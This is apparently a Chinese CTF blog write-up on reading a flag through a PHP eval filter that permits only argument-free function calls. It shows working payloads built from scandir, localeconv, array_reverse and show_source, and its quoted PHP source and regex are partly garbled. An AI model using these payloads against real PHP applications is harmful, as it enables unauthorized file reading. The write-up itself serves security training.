无参数读文件-ctf

一:发现源码、以及抓包啥都看不出来

  • 用dirsearch扫描发现是git源码泄露,用githack获取源码

?php,include "flag.php";,echo "flag在哪里呢?<br>";,if(isset($_GET[exp])){,if (!preg_match(/data:\/\/|filter:\/\/Iphp:\/\/|phar:\/\//i, $_GET[exp])) {,if(; === preg_replace(/[a-z,_]+\((?R)?\)/, NULL, $_GET[exp])) {,if (!preg_match(/et|na|info|dec|bin|hex|oct|pi|log/i, $_GET[exp])) {,// echo $_GET[exp];,@eval($_GET[exp]);,elsef,die("还差一点哦!");,elsef,die("再好好想想!");,elsef,die("还想读flag,臭弟弟!");,// highlight_file(_FILE__);,?>

查看源码发现最终目标要执行@eval($_GET['exp'])

要执行eval就要通过这些正则,第一个正则匹配不分大小写的php伪协议之类的

  • 重点是第二个正则

preg_replace('/[a-z,_]+(?R)?
(
?
𝑅
)
?
/', NULL, $_GET['exp'])
注意:大概意思是传递的值是字符串a-z跟上(),然后就会被替换为空,(?R)?的意思是递归匹配。
​
递归完之判断是否只有;,成立则传进去的 exp 就会被 eval 执行。
​
例子:a(b(c()));这样的就可以用,反之a('b','c')带有参数的就不能使用。
​
所以要构造无参数的函数进行命令执行

  • 无参数任意文件读取:查看当前目录的文件名

    ?exp=print_r(scandir(pos(localeconv())));
scandir('.');可以用来查看当前目录所有文件名
  • 问题是不能有参数,所以就要想办法来构造这个"."

ocaleconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
​
pos()别名current()返回数组中的单元,默认取第一个值;所以pos(localeconv())就会返回数组的第一项且这个第一项刚好就是我们需要的"."
​
chr(46)也就是字符"."
​
所以也可以构造46;chr(current(localtime(time()))): 第一个值每秒+1,最多60秒可以得到46
​
hebrevcl(crypt(arg))可以随机生成一个hash值。第一个大概率是$,小概率是"."
​
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));多刷新几次一定也能出
​
最后查看到flag在倒数第二个
​
​
​
再就是如何去读倒数第二个文件
​
array_reverse() 以相反的元素顺序返回数组;反过来之后flag就在第二个位置了。
​
next()j将数组中的指针向前移动一位;那么加上next指针就会指向flag了
​
再利用show_source()把flag读出来

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

tails/141109421

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值